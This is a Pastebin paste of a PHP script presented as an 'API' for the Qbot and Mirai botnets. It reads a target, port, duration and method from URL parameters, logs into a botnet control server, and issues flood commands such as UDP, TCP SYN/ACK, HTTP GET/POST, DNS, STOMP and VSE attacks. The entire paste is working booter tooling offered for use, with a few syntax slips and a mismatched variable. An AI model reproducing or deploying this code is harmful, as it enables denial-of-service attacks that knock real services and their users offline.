Advertisement
Guest User

[ QBOT AND MIRAI API ] #PHP

a guest
Jul 28th, 2017
1,401
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.17 KB | None | 0 0
  1. <?php
  2. //made By meelo
  3. //http://IP/NAMEOFFILE.php?&host=$host&port=$port&time=$time&type=$method
  4. set_time_limit(1);
  5. $server = "IP";//Net IP
  6. $conport = "PORT";//Port (admin port)
  7. $username = "User";//User of net
  8. $password = "Password"; //Pass of net
  9. //////////////////////////
  10. $activekeys = array(
  11.      
  12.  
  13. );
  14. $method = $_GET['type'];
  15. $target = $_GET['host'];
  16. $port = $_GET['port'];
  17. $time = $_GET['time'];
  18. ////////////////////////////////////////////////////////////////////////////////////////////
  19. //~ Qbot  ///////////////////////////////////////////////////////////////////////////                                                              
  20. ////////////////////////////////////////////////////////////////////////////////////////////
  21. if($method == "UDP"){$command = "!* UDP $target $port $time 32 0 10";}//UDP
  22. if($method == "TCP"){$command = "!* TCP $target $port $time 32 all 0 10";}//TCP ALL
  23. if($method == "TCPACK"){$command = "!* TCP $target $port $time 32 ack 0 10";}//TCP ACK
  24. if($method == "TCPSYN"){$command = "!* TCP $target $port $time 32 syn 0 10";}//TCP SYN
  25. if($method == "TCPPSH"){$command = "!* TCP $target $port $time 32 psh 0 10";}//TCP PSH
  26. if($method == "TCPRST"){$command = "!* TCP $target $port $time 32 rst 0 10";}//TCP RST
  27. if($method == "TCPFIN"){$command = "!* TCP $target $port $time 32 fin 0 10";}//TCP FIN
  28. if($method == "STD"){$command = "!* STD $target $port $time";}//STD
  29. if($method == "JUNK"){$command = "!* JUNK $target $time"};//JUNK
  30. if($method == "HTTPGET"){$command = "!* HTTP GET $target / $port $time 200 ";} //GET
  31. if($method == "HTTPPOST"){$command = "!* HTTP POST $target / $port $time 200";} //POST
  32. if($method == "HTTPHEAD"){$command = "!* HTTP HEAD $target / $port $time 200";} //HEAD
  33. if($method == "HOLD"){$command = "!* HOLD $target $port $time"}//HOLD
  34. ///////////////////////////////////////////////////////////////////////////////////////////////
  35. //~ MIRAI  /////////////////////////////////////////////////////////////////////////////
  36. ///////////////////////////////////////////////////////////////////////////////////////////////
  37. if ($method == "RAWUDP"){$command = "udpplain $host $time len=65500 rand=1 dport=$port";}//UDP PLAIN
  38. if ($method == "DNS"){$command = "dns $host $time dport=$port domain=$host";}//DNS
  39. if ($method == "SYN"){$command = "syn $host $time dport=$port";}//TCP-SYN
  40. if ($method == "ACK"){$command = "ack $host $time dport=$port";}//TCP-ACK
  41. if ($method == "STOMP"){$command ="stomp $host $time dport=$port";}//STOMP
  42. if ($method == "VSE"){$command = "vse $host $time dport=$port";}//VSE
  43. ///////////////////////////////////////////////////////////////////////////////////////////////
  44. $sock = fsockopen($server, $conport, $errno, $errstr, 2);
  45.  
  46. if(!$sock){
  47.         echo "Can't Connect To Net !";
  48. } else{
  49.         print(fread($sock, 512)."\n");
  50.         fwrite($sock, $username . "\n");
  51.         echo "<br>";
  52.         print(fread($sock, 512)."\n");
  53.         fwrite($sock, $password . "\n");
  54.         echo "<br>";
  55.         if(fread($sock, 512)){
  56.                 print(fread($sock, 512)."\n");
  57.         }
  58.  
  59.         fwrite($sock, $command . "\n");
  60.         fclose($sock);
  61.         echo "<br>";
  62.         echo "> $command ";
  63. }
  64. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement